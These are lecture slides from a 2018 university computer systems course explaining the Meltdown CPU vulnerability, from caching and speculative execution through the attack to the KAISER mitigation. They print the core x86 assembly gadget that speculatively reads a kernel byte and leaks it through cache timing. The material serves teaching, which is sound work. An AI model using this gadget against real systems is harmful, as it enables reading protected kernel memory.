Meltdown
CSE 351 Winter 2018

Instructor:
Mark Wyse

Teaching Assistants:
Kevin Bi
Parker DeWilde
Emily Furst
Sarah House
Waylon Huang
Vinny Palaniappan

*thanks to Eddie Yan for a subset/skeleton of the slides
Computer Architecture – The Basics

❖ Address Translation

- Memory addresses in our program are virtual and require a translation

```c
int myArray[42]; // software address: 0xdead00a8
                  // physical address: 0xffffffff00a8
```
Computer Architecture – The Basics

❖ Caching
  ▪ CPUs have caches that speed up memory access!
  ▪ Typically physically addressed (after address translation)

❖ Assume access below is valid and memory page is in DRAM

```c
int x = myArray[42]; // goes to DRAM, sloooow...
int y = myArray[42]; // goes to Cache, 1 CPU cycle
```

❖ Cache/memory accesses can be timed by user programs!
Computer Architecture – The Basics

❖ Out-of-Order Execution
  ▪ Modern CPUs can run Out-of-Order (OoO)

❖ These lines can run in parallel!
  ▪ Computation for \( d \) and \( e \) are independent
  ▪ These operations may be executed by CPU in any order

```c
int d = a + b + fac(c);
int e = a + b + c;
return d + e;
```
Computer Architecture – The Basics

❖ Speculation
  ▪ Modern, high-performance processors can execute instructions (statements) speculatively

❖ Consider this code:

```cpp
assert(idx < len);
result = data[idx];
```
Computer Architecture – The Basics

❖ Speculation
  ▪ Modern, high-performance processors can execute instructions (statements) speculatively

❖ Consider this code:
  ▪ The second line can execute before the check completes!

    assert(idx < len);
    result = data[idx];
Computer Architecture – The Basics

❖ Speculation
  ▪ Modern, high-performance processors can execute instructions (statements) speculatively

❖ CPU often does something more like:

```c
result = data[idx];
if (idx >= len)
    // assert should have fired!
    // CPU rolls back state
    do_assert();
```
Flush + Reload

- Starting with an empty (cold) cache, an attacker can use timing information to determine if a cache block was loaded by the victim.
Meltdown - Assumptions

- All of physical memory is mapped to kernel addresses in user process
  - Start address (VA in user process) of physical memory is known, $A_k$
  - Physical memory is $K$ bytes total, and mapped directly, $[A_k \ldots (A_k + K - 1)]$

- An exception (illegal memory access) can be handled/suppressed
- Kernel Address Space Layout Randomization not used
  - Similar to randomizing start address of stack, kernel data structure start address can be randomized
Meltdown – Data Structures/Variables

- Two important data structures/variables

```c
char probe_array[256 * 4096]; // 256 * 4KB = 256 pages

char* kernelAddr = {A_k ... (A_k + K - 1)};
```
Meltdown – Toy Example

```c
1  raise_exception();
2  // the line below is never reached
3  access(probe_array[data * 4096]);
```

- Assume `data` is a value between $0 - 255$, and value is unknown
- Assume a cold cache
Meltdown – Toy Example

1    raise_exception();
2   // the line below is never reached
3    access(probe_array[data * 4096]);

❖ Assume the CPU executes the probe_array access Speculatively, loading the element of the array into the cache.

❖ Even though the exception is raised and the architectural state is “rolled back”, the CPU still caches the memory access!
Meltdown – Toy Example

- After the speculative memory access, access all the elements of the probe array, looking for an unusually fast access (i.e., a cached access):

- The Page tells us what the value of data was!
Meltdown – Toy Example

❖ So, what did we accomplish?
  ▪ data was an unknown value between 0 – 255
  ▪ Based on the value of data, we speculatively loaded a cache line from probe_array[data*4096]
  ▪ After the exception is handled/suppressed, iterate values of data from 0 – 255, and use timing code to determine if probe_array[data*4096] is a cache hit.

❖ If cache hit detected for a particular value of data, we learned the value of data!
Meltdown – the Exploit

❖ **Goal**: attempt to read physical memory by exploiting speculative and OoO execution, and the fact that all of physical memory is mapped to kernel addresses (virtual addresses) in a user process

❖ **Question**: if user process accesses a kernel address, an illegal memory access occurs, raising an exception. Does the CPU still speculatively perform the illegal load? And can we determine the value loaded?

❖ Yes!
Meltdown – the Exploit

1  // rcx = kernel address (kernelAddr)
2  // rbx = probe_array
3  retry:
4   movb (%rcx), %al          // move a byte to %al (%rax)
5   shl 0xc, %rax             // multiply by 4096 (<< 12)
6   jz retry                  // retry if byte was 0**
7   mov (%rbx,%rax), %rbx     // access probe_array[%al*4096]

** 0 is a special case, ignore for now

* Assume cold cache
Meltdown – the Exploit

1 // rcx = kernel address (kernelAddr)
2 // rbx = probe_array
3 retry:
4      movb (%rcx), %al  // WILL RAISE AN EXCEPTION!
5    shl 0xc, %rax
6      jz retry
7      mov (%rbx,%rax), %rbx
Meltdown – the Exploit

1  // rcx = kernel address (kernelAddr)
2  // rbx = probe_array
3  retry:
4    movb (%rcx), %al      // WILL RAISE AN EXCEPTION!
5    shl 0xc, %rax         // But, lines 5-7 executed
6    jz retry             // speculatively!
7    mov (%rbx,%rax), %rbx
Meltdown – the Exploit

1  // rcx = kernel address (kernelAddr)
2  // rbx = probe_array
3  retry:
4      movb (%rcx), %al  // WILL RAISE AN EXCEPTION!
5      shl 0xc, %rax    // But, lines 5-7 executed
6      jz retry        // speculatively!
7      mov (%rbx,%rax), %rbx // Races with Exception!
Meltdown – the Exploit

1  // rcx = kernel address (kernelAddr)
2  // rbx = probe_array
3  retry:
4    movb (%rcx), %al          // move a byte to %al (%rax)
5    shl 0xc, %rax             // multiply by 4096 (<< 12)
6    jz retry                  // retry if byte was 0
7    mov (%rbx,%rax), %rbx    // access probe_array[%al*4096]

❖ So, what did we do? Attempt to load a byte from kernel memory (this is illegal for our user process!). Then, use that loaded byte in a speculative access to the probe_array, loading a cache line to our cold cache.
❖ How do we determine what the byte was?
Meltdown – the Exploit

- After the speculative memory access, access elements of the probe array, looking for an unusually fast access:

- Access probe_array[data * 4096], timing the access for a cache hit. If hit detected, the value of data is the byte read from the kernel address!!!
Meltdown – Explained

- Race between raising exception for illegal kernel address access (from user process) and the probe array access.
  - Race is due to OoO and speculative execution in the CPU
- If the exception wins the race, the register %rax is zeroed to prevent leaking information
- If the probe array access wins the race, a cache line is loaded from memory. The line to load is determined by the value of the illegal load (byte %al) and uses %rax before it is zeroed by the exception.
- We can find the cache line that hits in the probe array on a second access, which tells us the value of the byte %al we loaded illegally!
Meltdown – the Exploit – what about 0?

1  // rcx = kernel address (kernelAddr)
2  // rbx = probe_array
3  retry:
4    movb (%rcx), %al          // move a byte to %al (%rax)
5    shl 0xc, %rax             // multiply by 4096 (<< 12)
6    jz retry                  // retry if byte was 0**
7    mov (%rbx,%rax), %rbx     // access probe_array[%al*4096]

** %rax will be 0 if the Exception wins the race with the probe_array access. Thus, if a zero is seen, try again. Either, a non-zero byte is used to perform the speculative access, or don’t perform the speculative access at all! Then, when scanning probe_array, no hits will occur, and we can be reasonably confident the byte was 0.
Meltdown - Summary

- Allows a user process to read all of physical memory on the system, which is mapped in kernel addresses and by extension in user process address space

- Speculative execution occurs in the exploit (leak arises from CPU speculating in the attacker’s code)
Meltdown - Mitigation

- Meltdown relies on the kernel address space being mapped into user process address space, and all of physical memory being mapped to kernel address space.

- KAISER (patch by Gruss et al.) implements a stronger isolation between kernel and user space. It leaves physical memory unmapped in kernel address space.

- Or, use an AMD processor, which doesn’t bypass memory protection during speculative execution.